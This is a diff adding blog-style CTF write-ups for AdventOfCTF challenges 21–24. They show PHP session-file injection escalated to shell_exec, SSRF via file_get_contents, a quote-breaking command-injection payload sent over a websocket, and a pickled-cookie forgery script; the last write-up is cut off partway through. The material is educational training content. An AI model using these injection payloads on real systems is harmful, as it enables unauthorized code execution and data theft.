||||
|
||||
To make this request, we first need the session token. We can find in the cookies in our browser. For me, it was `e62ac597cd97e0638d898fff45c3b878`. Afterwards, we can make a request like this to get the contents of our session file: `/get_flag.php?function=extract&file=/tmp/sess_e62ac597cd97e0638d898fff45c3b878`.
|
||||
|
||||
This then returns the following:
|
||||
|
||||
```text
|
||||
name|s:15:"Your cool name!";
|
||||
```
|
||||
|
||||
As we can see, our input is directly saved to the file. Because we are reading the file using `include`, it also executes any PHP code it finds there. Let's verify that by setting our name to `<?php phpinfo(); ?>`.
|
||||
|
||||
If we now open the page with our file read again, we see the PHP info.
|
||||
|
||||
## Exploit
|
||||
|
||||
Now that we have PHP injection, we can easily turn this into Remote Code Execution (RCE). We do this by using the `shell_exec` function like so:
|
||||
|
||||
```php
|
||||
<?php echo shell_exec("ls"); ?>
|
||||
```
|
||||
|
||||
If we send this as the name, we get the following result:
|
||||
|
||||
```text
|
||||
name|s:31:"error_pages
|
||||
favicon.ico
|
||||
filters.php
|
||||
get_flag.php
|
||||
index.php
|
||||
logo.png
|
||||
style.css
|
||||
";
|
||||
```
|
||||
|
||||
The description told us the flag was located at `/flag.txt` so let's open it using the following input:
|
||||
|
||||
```php
|
||||
<?php echo shell_exec("cat /flag.txt"); ?>
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{extract_1s_ev1l_on_us3r_inpu7}`.
|
||||
@@ -0,0 +1,234 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 22"
|
||||
subtitle = "Challenge 22 - AdventOfCTF"
|
||||
date = 2021-03-04T01:24:34+01:00
|
||||
description = "A writeup for challenge 22 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/6c0810c1568645bcf58da67a1db6e3e7.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
"ssrf",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2200
|
||||
|
||||
## Description
|
||||
|
||||
We have a new service! You can view santa's favorite pictues. Currently there is only one, but it is a very good one! You can get the flag through flag.php.
|
||||
|
||||
Visit <https://22.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website, we're greeted with a link with the text "Is this santa?". If we click on it, it redirects to `/index.php?image=cat.jpg`.
|
||||
|
||||
This page shows us a nice picture of a cat.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When looking at this, you might think of Local File Inclusion (LFI). This makes sense as it is one of the most common vulnerability in opening files.
|
||||
|
||||
We can try to use it to open `flag.php`. To try this, let's replace `cat.jpg` with `flag.php` in the URL.
|
||||
|
||||
When opening the page, we will see a broken image, this is expected as the file it not an image. If we open the source we find the following:
|
||||
|
||||
```html
|
||||
<img
|
||||
src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
|
||||
width="100%"
|
||||
/>
|
||||
```
|
||||
|
||||
Here we see some `base64` encoded data, let's decode it using the following command:
|
||||
|
||||
```bash
|
||||
echo -n "PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo=" | base64 -d
|
||||
```
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
include("secret.php");
|
||||
|
||||
if (strpos(check_secret(), "allow") !== false) {
|
||||
echo get_flag();
|
||||
}
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
If we look at this code, we see that if `check_secret()` contains `"allow"`, it will execute the `get_flag()` function (which will probably give us the flag).
|
||||
|
||||
The functions are not defined in this file so they probably come from `secret.php`. Let's try to read that file.
|
||||
|
||||
Alas, we get the cat picture again. That's weird. There might be a filter on the input. Let's verify that by reading the `index.php` file.
|
||||
|
||||
Using the same decoding method, we get the following result:
|
||||
|
||||
{{< code language="php" title="index.php" >}}
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html class="no-js" lang="">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge" />
|
||||
<title>Advent of CTF 22</title>
|
||||
<meta name="description" content="" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
|
||||
<link rel="stylesheet" href="style.css" type="text/css" media="screen" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
|
||||
integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
|
||||
crossorigin="anonymous"
|
||||
/>
|
||||
<style>
|
||||
.row-margin-05 {
|
||||
margin-top: 0.5em;
|
||||
}
|
||||
.row-margin-10 {
|
||||
margin-top: 1em;
|
||||
}
|
||||
.row-margin-20 {
|
||||
margin-top: 2em;
|
||||
}
|
||||
.row-margin-30 {
|
||||
margin-top: 3em;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="jumbotron bg-transparent mb-0 radius-0">
|
||||
<div class="container fluid">
|
||||
<div class="row">
|
||||
<div class="col-xl-6 mx-auto">
|
||||
<h1 class="display-2">
|
||||
Advent of CTF <span class="vim-caret">22</span>
|
||||
</h1>
|
||||
<div class="lead mb-3 text-mono text-warning">
|
||||
Your daily dose of CTF for December
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-xl-12 mx-auto">
|
||||
<div class="card">
|
||||
<div class="card-header text-center">
|
||||
<h2>The big reveal</h2>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php
|
||||
if (!isset($_GET["image"])) {
|
||||
?>
|
||||
<a href="/index.php?image=cat.jpg">Is this santa?</a>
|
||||
<?php
|
||||
} else {
|
||||
$path = $_GET["image"];
|
||||
if (strpos($path,"secret") !== false) {
|
||||
$path="cat.jpg";
|
||||
}
|
||||
$image = file_get_contents($path);
|
||||
echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
|
||||
} ?>
|
||||
</div>
|
||||
<div class="card-footer text-center">Almost there</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row row-margin-30">
|
||||
<div class="card mb-3 bg-dark text-white">
|
||||
<div class="card-body">
|
||||
<div class="row">
|
||||
<div class="col-md-2">
|
||||
<img src="/logo.png" />
|
||||
</div>
|
||||
<div class="col-md-9 offset-md-1 align-middle">
|
||||
<p class="text-center">
|
||||
<span class="align-middle">
|
||||
The Advent of CTF is brought to you by
|
||||
<a href="http://www.novi.nl">NOVI Hogeschool</a>. It
|
||||
is built by
|
||||
<a
|
||||
href="https://twitter.com/credmp/"
|
||||
class="icoTwitter"
|
||||
title="Twitter"
|
||||
><i class="fab fa-twitter"></i> @credmp</a
|
||||
>. If you are looking for a Dutch Cyber Security
|
||||
Bachelor degree or bootcamp,
|
||||
<a href="https://www.novi.nl">check us out</a>.
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
Just the PHP part:
|
||||
|
||||
```html
|
||||
<?php
|
||||
if (!isset($_GET["image"])) {
|
||||
?>
|
||||
<a href="/index.php?image=cat.jpg">Is this santa?</a>
|
||||
<?php
|
||||
} else {
|
||||
$path = $_GET["image"];
|
||||
if (strpos($path,"secret") !== false) {
|
||||
$path="cat.jpg";
|
||||
}
|
||||
$image = file_get_contents($path);
|
||||
echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
|
||||
} ?>
|
||||
```
|
||||
|
||||
Here we see that we cannot get any file containing "secret". This means we have to find another way to get the flag.
|
||||
|
||||
We see that this code is using the `file_get_contents()` function to open file. Let's have a look at the [PHP documentation for it](https://www.php.net/manual/en/function.file-get-contents.php).
|
||||
|
||||
If we read a bit we find the following example usage:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$homepage = file_get_contents('http://www.example.com/');
|
||||
echo $homepage;
|
||||
?>
|
||||
```
|
||||
|
||||
This means it can also open URLs and, since we control the input to the function, we have a Server-Side Request Forgery (SSRF) vulnerability. Let's try to use that to open the flag file.
|
||||
|
||||
To test this, we can use the following input; `image=http://localhost/flag.php`.
|
||||
|
||||
_Note: We can not use the `secret.php` file as any input containing "secret" is blocked._
|
||||
|
||||
We, again, got some base64 encoded data back, so let's decode it:
|
||||
|
||||
```bash
|
||||
echo -n "Tk9WSXthc2tpbmdfZm9yX2FfZnJpZW5kfQ==" | base64 -d
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{asking_for_a_friend}`.
|
||||
@@ -0,0 +1,229 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 23"
|
||||
subtitle = "Challenge 23 - AdventOfCTF"
|
||||
date = 2021-03-16T20:52:38+01:00
|
||||
description = "A writeup for challenge 23 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/497784f7a3314f8aa5b8464432e30bbe.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"websockets",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2300
|
||||
|
||||
## Description
|
||||
|
||||
If all you do is talk, there are bound to be secret features. The flag is stored in /flag.txt.
|
||||
|
||||
Visit <https://23.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen.
|
||||
|
||||
If we take a look at the source, we also find a bit of javascript:
|
||||
|
||||
```js
|
||||
$(function () {
|
||||
var socket = io();
|
||||
$("form").submit(function () {
|
||||
socket.emit("chat message", { message: $("#m").val() });
|
||||
$("#m").val("");
|
||||
return false;
|
||||
});
|
||||
socket.on("chat message", function (msg) {
|
||||
console.log(msg.command);
|
||||
if (msg.command === "code") {
|
||||
$("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>"));
|
||||
} else {
|
||||
$("#messages").append($("<li>").text(msg.message));
|
||||
}
|
||||
window.scrollTo(0, document.body.scrollHeight);
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket".
|
||||
|
||||
{{< figure src="/img/writeups/adventofctf/2020/23/websocket.png" title="Websocket in Chrome DevTools" >}}
|
||||
|
||||
If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives.
|
||||
|
||||
After sending the message, the following entries are added to the websocket message list.
|
||||
|
||||
```js
|
||||
⬆42["chat message", {message: "Hi"}]
|
||||
⬇42["chat message", {message: "Hi"}]
|
||||
```
|
||||
|
||||
We can see the message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message.
|
||||
|
||||
### Manually sending a message
|
||||
|
||||
In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable.
|
||||
|
||||
{{< figure src="/img/writeups/adventofctf/2020/23/breakpoint.png" title="Javascipt breakpoint in Chrome" >}}
|
||||
|
||||
Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back:
|
||||
|
||||
```js
|
||||
> socket
|
||||
< Socket {receiveBuffer: Array(0), sendBuffer: Array(0), ids: 0, acks: {…}, flags: {…}, …}
|
||||
```
|
||||
|
||||
Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console:
|
||||
|
||||
```js
|
||||
window.socket = socket;
|
||||
```
|
||||
|
||||
We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this:
|
||||
|
||||
```js
|
||||
socket.emit("chat message", { message: "Hello" });
|
||||
```
|
||||
|
||||
After running this, we also see the message pop up in the chat window.
|
||||
|
||||
### Sending a command
|
||||
|
||||
Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code:
|
||||
|
||||
```js
|
||||
socket.emit("chat message", {
|
||||
message: "Hello",
|
||||
command: "ls",
|
||||
});
|
||||
```
|
||||
|
||||
As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command.
|
||||
|
||||
```js
|
||||
socket.emit("chat message", { message: "Hello", command: "help" });
|
||||
```
|
||||
|
||||
This time it returns a different message: "Allowed message types are: help, execute and empty".
|
||||
|
||||
## Exploit
|
||||
|
||||
The `execute` command looks interesting, so let's take a further look at it.
|
||||
|
||||
```js
|
||||
socket.emit("chat message", { message: "Hello", command: "execute" });
|
||||
```
|
||||
|
||||
Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command.
|
||||
|
||||
```bash
|
||||
> echo -n "ls" | base64 -w 0
|
||||
bHM=⏎
|
||||
```
|
||||
|
||||
```js
|
||||
socket.emit("chat message", { message: "bHM=", command: "execute" });
|
||||
```
|
||||
|
||||
This time we got a different result:
|
||||
|
||||
```text
|
||||
ERR: Error: Command failed: /bin/ls 'ls'
|
||||
ls: ls: No such file or directory
|
||||
```
|
||||
|
||||
This means the backend is trying to list the contents of "ls", let's try again with a `/` as the message:
|
||||
|
||||
```bash
|
||||
> echo -n "/" | base64 -w 0
|
||||
Lw==⏎
|
||||
```
|
||||
|
||||
```js
|
||||
socket.emit("chat message", { message: "Lw==", command: "execute" });
|
||||
```
|
||||
|
||||
This returns the following:
|
||||
|
||||
```text
|
||||
STDOUT: apps
|
||||
bin
|
||||
dev
|
||||
etc
|
||||
flag.txt
|
||||
home
|
||||
lib
|
||||
media
|
||||
mnt
|
||||
opt
|
||||
proc
|
||||
root
|
||||
run
|
||||
sbin
|
||||
srv
|
||||
sys
|
||||
tmp
|
||||
usr
|
||||
var
|
||||
```
|
||||
|
||||
The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following:
|
||||
|
||||
```bash
|
||||
/bin/ls '/'; cat '/flag.txt'
|
||||
```
|
||||
|
||||
Let's try that.
|
||||
|
||||
```bash
|
||||
> echo -n "/'; cat '/flag.txt" | base64 -w 0
|
||||
Lyc7IGNhdCAnL2ZsYWcudHh0⏎
|
||||
```
|
||||
|
||||
```js
|
||||
socket.emit("chat message", {
|
||||
message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
|
||||
command: "execute",
|
||||
});
|
||||
```
|
||||
|
||||
This will give us the following output:
|
||||
|
||||
```text
|
||||
STDOUT: apps
|
||||
bin
|
||||
dev
|
||||
etc
|
||||
flag.txt
|
||||
home
|
||||
lib
|
||||
media
|
||||
mnt
|
||||
opt
|
||||
proc
|
||||
root
|
||||
run
|
||||
sbin
|
||||
srv
|
||||
sys
|
||||
tmp
|
||||
usr
|
||||
var
|
||||
NOVI{i_hacked_websockets_and_1_am_still_s@ne}
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`.
|
||||
@@ -0,0 +1,316 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 24"
|
||||
subtitle = "Challenge 24 - AdventOfCTF"
|
||||
date = 2021-09-22T12:12:12+01:00
|
||||
description = "A writeup for challenge 24 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/b915cb528c4b3d6fc4644f73ba8b829d.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"python",
|
||||
"serialization",
|
||||
"blockchain",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 2400
|
||||
|
||||
## Description
|
||||
|
||||
The final battle! The elves want revenge for their lost game! They have enhanced the tic-tac-toe game with blockchain technology. Cyber Security on the Blockchain will revolutionize everything, but most importantly ensure they will win this time. No cheating Santa!
|
||||
|
||||
Visit <https://24.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
When opening the page, we're greeted with what looks like the same screen as we had on [challenge 20]({{< ref "challenge_20.md" >}}). The only noticeable difference is the addition of `blockchain? True` in the footer.
|
||||
|
||||
If we take a look at the source, we also find a comment with the following python code:
|
||||
|
||||
```py
|
||||
# <!-- Development notes: Do not let santa see!
|
||||
|
||||
def hash_string(string):
|
||||
return hashlib.md5(string.encode('utf-8')).hexdigest()
|
||||
|
||||
def hash_row(row):
|
||||
conv = lambda i : i or ' '
|
||||
res = [conv(i) for i in row]
|
||||
return hash_string(' '.join(res))
|
||||
|
||||
def hash_board(board):
|
||||
acc = ""
|
||||
for row in board:
|
||||
acc += hash_row(row)
|
||||
return acc
|
||||
|
||||
def verify_chain(game):
|
||||
board=game["board"]
|
||||
chain = game["chain"]
|
||||
|
||||
if len(chain) > 0:
|
||||
if board != chain[-1]["board"]:
|
||||
return False
|
||||
|
||||
for i in range(len(chain)):
|
||||
block=chain[i]
|
||||
h = hash_board(block["board"])
|
||||
h = hash_string(h + block["prev"])
|
||||
if h != block["hash"]:
|
||||
return False
|
||||
return True
|
||||
|
||||
# -->
|
||||
```
|
||||
|
||||
Just like in challenge 20, we alse find a game cookie:
|
||||
|
||||
```text
|
||||
game=gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhoBGgGaAZlZVgEAAAAdHVybnEIaAZYCAAAAGZpbmlzaGVkcQmJWAYAAAB3aW5uZXJxClgAAAAAcQtYBAAAAHNhbmVxDIhYCgAAAGJsb2NrY2hhaW5xDYhYBQAAAGNoYWlucQ5dcQ8ofXEQKGgBXXERKF1xEihOTk5lXXETKE5OTmVdcRQoTk5oBmVlWAQAAABwcmV2cRVYIAAAAGNlZjIxNWM1YmU4Y2Y2M2ZjZjNkNDNlY2YyNTEwYjMzcRZYBAAAAGhhc2hxF1ggAAAAZTdkYzhlMWY3YTY3ODhiYzBjYjY4NDE1MzhiMjE2ZThxGHV9cRkoaAFdcRooXXEbKGgETk5lXXEcKE5OTmVdcR0oTk5oBmVlaBVoGGgXWCAAAABmYzkzMjM2YjVlZWE1ZjFkNTVlMmI1YjMwOGQ2NzM5MHEedX1xHyhoAV1xIChdcSEoaAROTmVdcSIoTmgGTmVdcSMoTk5oBmVlaBVoHmgXWCAAAABhOGRjMGQzZGEyOTBkMWU4OTRlYWFmZmNiOTgzOThjOXEkdX1xJShoAV1xJihdcScoaARoBE5lXXEoKE5oBk5lXXEpKE5OaAZlZWgVaCRoF1ggAAAAZTc0ZjViMjJmNTIxM2JhNGMyNDQ5NzU5Y2U5MWMyYWFxKnV9cSsoaAFdcSwoXXEtKGgEaAROZV1xLihOaAZoBmVdcS8oTk5oBmVlaBVoKmgXWCAAAABlZjI1NTE0ZGZmYmY4MjQ3Y2ZmNjA2M2JlOTBmMmQ1NHEwdX1xMShoAV1xMihdcTMoaARoBE5lXXE0KGgEaAZoBmVdcTUoTk5oBmVlaBVoMGgXWCAAAABlM2E0YzAzN2JkZjE1NGIzNDRlZDliZDE2NDNhNjI5ZHE2dX1xNyhoAV1xOChdcTkoaARoBE5lXXE6KGgEaAZoBmVdcTsoTmgGaAZlZWgVaDZoF1ggAAAAYzI0MGZhMTYxNzM3Yzk2N2VjZTVmZDk0NjcyYWIwZjhxPHV9cT0oaAFdcT4oXXE/KGgEaAROZV1xQChoBGgGaAZlXXFBKGgEaAZoBmVlaBVoPGgXWCAAAAAyNGJhNzE1ZGMwNTY4M2NlNDViOWUxOTFlZDE4OGI5Y3FCdWV1Lg==
|
||||
```
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Using the same method as in challenge 20, we can take a look at the board:
|
||||
|
||||
```py
|
||||
In [1]: import pickle
|
||||
|
||||
In [2]: import base64
|
||||
|
||||
In [3]: pickle.loads(base64.b64decode("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhoBGgGaAZlZVgEAAAAdHVybnEIaAZYCAAAAGZpbmlzaGVkcQmJWAYAAAB3aW5uZXJxClgAAAAAcQtYBAAAAHNhbmVxDIhYCgAAAGJsb2NrY2hhaW5xDYhYBQAAAGNoYWlucQ5dcQ8ofXEQKGgBXXERKF1xEihOTk5lXXETKE5OTmVdcRQoTk5oBmVlWAQAAABwcmV2cRVYIAAAAGNlZjIxNWM1YmU4Y2Y2M2ZjZjNkNDNlY2YyNTEwYjMzcRZYBAAAAGhhc2hxF1ggAAAAZTdkYzhlMWY3YTY3ODhiYzBjYjY4NDE1MzhiMjE2ZThxGHV9cRkoaAFdcRooXXEbKGgETk5lXXEcKE5OTmVdcR0oTk5oBmVlaBVoGGgXWCAAAABmYzkzMjM2YjVlZWE1ZjFkNTVlMmI1YjMwOGQ2NzM5MHEedX1xHyhoAV1xIChdcSEoaAROTmVdcSIoTmgGTmVdcSMoTk5oBmVlaBVoHmgXWCAAAABhOGRjMGQzZGEyOTBkMWU4OTRlYWFmZmNiOTgzOThjOXEkdX1xJShoAV1xJihdcScoaARoBE5lXXEoKE5oBk5lXXEpKE5OaAZlZWgVaCRoF1ggAAAAZTc0ZjViMjJmNTIxM2JhNGMyNDQ5NzU5Y2U5MWMyYWFxKnV9cSsoaAFdcSwoXXEtKGgEaAROZV1xLihOaAZoBmVdcS8oTk5oBmVlaBVoKmgXWCAAAABlZjI1NTE0ZGZmYmY4MjQ3Y2ZmNjA2M2JlOTBmMmQ1NHEwdX1xMShoAV1xMihdcTMoaARoBE5lXXE0KGgEaAZoBmVdcTUoTk5oBmVlaBVoMGgXWCAAAABlM2E0YzAzN2JkZjE1NGIzNDRlZDliZDE2NDNhNjI5ZHE2dX1xNyhoAV1xOChdcTkoaARoBE5lXXE6KGgEaAZoBmVdcTsoTmgGaAZlZWgVaDZoF1ggAAAAYzI0MGZhMTYxNzM3Yzk2N2VjZTVmZDk0NjcyYWIwZjhxPHV9cT0oaAFdcT4oXXE/KGgEaAROZV1xQChoBGgGaAZlXXFBKGgEaAZoBmVlaBVoPGgXWCAAAAAyNGJhNzE1ZGMwNTY4M2NlNDViOWUxOTFlZDE4OGI5Y3FCdWV1Lg=="))
|
||||
|
||||
```
|
||||
|
||||
This time our board is quite a bit larger:
|
||||
|
||||
{{< code language="py" title="Board" >}}
|
||||
|
||||
```py
|
||||
{
|
||||
"blockchain": True,
|
||||
"board": [
|
||||
["O", "O", None],
|
||||
["O", "X", "X"],
|
||||
[None, "X", "X"]
|
||||
],
|
||||
"chain": [
|
||||
{
|
||||
"board": [
|
||||
[None, None, None],
|
||||
[None, None, None],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "e7dc8e1f7a6788bc0cb6841538b216e8",
|
||||
"prev": "cef215c5be8cf63fcf3d43ecf2510b33"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", None, None],
|
||||
[None, None, None],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "fc93236b5eea5f1d55e2b5b308d67390",
|
||||
"prev": "e7dc8e1f7a6788bc0cb6841538b216e8"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", None, None],
|
||||
[None, "X", None],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "a8dc0d3da290d1e894eaaffcb98398c9",
|
||||
"prev": "fc93236b5eea5f1d55e2b5b308d67390"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", "O", None],
|
||||
[None, "X", None],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "e74f5b22f5213ba4c2449759ce91c2aa",
|
||||
"prev": "a8dc0d3da290d1e894eaaffcb98398c9"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", "O", None],
|
||||
[None, "X", "X"],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "ef25514dffbf8247cff6063be90f2d54",
|
||||
"prev": "e74f5b22f5213ba4c2449759ce91c2aa"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", "O", None],
|
||||
["O", "X", "X"],
|
||||
[None, None, "X"]
|
||||
],
|
||||
"hash": "e3a4c037bdf154b344ed9bd1643a629d",
|
||||
"prev": "ef25514dffbf8247cff6063be90f2d54"
|
||||
},
|
||||
{
|
||||
"board": [
|
||||
["O", "O", None],
|
||||
["O", "X", "X"],
|
||||
[None, "X", "X"]
|
||||
],
|
||||
"hash": "c240fa161737c967ece5fd94672ab0f8",
|
||||
"prev": "e3a4c037bdf154b344ed9bd1643a629d"
|
||||
}
|
||||
],
|
||||
"finished": False,
|
||||
"sane": True,
|
||||
"turn": "O",
|
||||
"winner": ""
|
||||
}
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
We can see that a `chain` value has been added. From the title of this challenge, we can say that this is the blockchain that we likely have to bypass.
|
||||
|
||||
## Exploit
|
||||
|
||||
Cracking this shouldn't be too hard. Let's start by copying our script from challenge 20 and resetting the chain:
|
||||
|
||||
```py
|
||||
import base64
|
||||
import pickle
|
||||
|
||||
board_b64 = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiFgKAAAAYmxvY2tjaGFpbnENiFgFAAAAY2hhaW5xDl1xDyh9cRAoaAFdcREoXXESKE5OTmVdcRMoTk5OZV1xFChOTmgGZWVYBAAAAHByZXZxFVggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFlgEAAAAaGFzaHEXWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEYdX1xGShoAV1xGihdcRsoaAROTmVdcRwoTk5OZV1xHShOTmgGZWVoFWgYaBdYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR51fXEfKGgBXXEgKF1xIShoBE5OZV1xIihOaAZOZV1xIyhOTmgGZWVoFWgeaBdYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSR1fXElKGgBXXEmKF1xJyhoBGgETmVdcSgoTmgGTmVdcSkoTk5oBmVlaBVoJGgXWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEqdX1xKyhoAV1xLChdcS0oaARoBE5lXXEuKE5oBmgGZV1xLyhOTmgGZWVoFWgqaBdYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cTB1fXExKGgBXXEyKF1xMyhoBGgETmVdcTQoaARoBmgGZV1xNShOTmgGZWVoFWgwaBdYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTZ1fXE3KGgBXXE4KF1xOShoBGgETmVdcTooaARoBmgGZV1xOyhOaAZoBmVlaBVoNmgXWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE8dWV1Lg=="
|
||||
|
||||
game = pickle.loads(base64.b64decode(board_b64))
|
||||
|
||||
game["board"] = [['X', 'X', 'X'], ['O', None, 'O'], [None, None, None]]
|
||||
game["chain"] = []
|
||||
game["finished"] = True
|
||||
game["winner"] = 'X'
|
||||
game["turn"] = 'O'
|
||||
|
||||
print(base64.b64encode(pickle.dumps(data)))
|
||||
```
|
||||
|
||||
Sadly, just submitting the result of this script doesn't work. We have to fill the chain.
|
||||
|
||||
To find out how the chain works, let's take another look at the `verify_chain()` function:
|
||||
|
||||
```py
|
||||
def verify_chain(game):
|
||||
board=game["board"]
|
||||
chain = game["chain"]
|
||||
|
||||
if len(chain) > 0:
|
||||
if board != chain[-1]["board"]:
|
||||
return False
|
||||
|
||||
for i in range(len(chain)):
|
||||
block=chain[i]
|
||||
h = hash_board(block["board"])
|
||||
h = hash_string(h + block["prev"])
|
||||
if h != block["hash"]:
|
||||
return False
|
||||
return True
|
||||
```
|
||||
|
||||
We can see that, to verify the game, the function loops through all the blocks in the chain. It then calculates a hash based on the board, and the previous hash and compares that to the actual hash in the block (the user provided one).
|
||||
|
||||
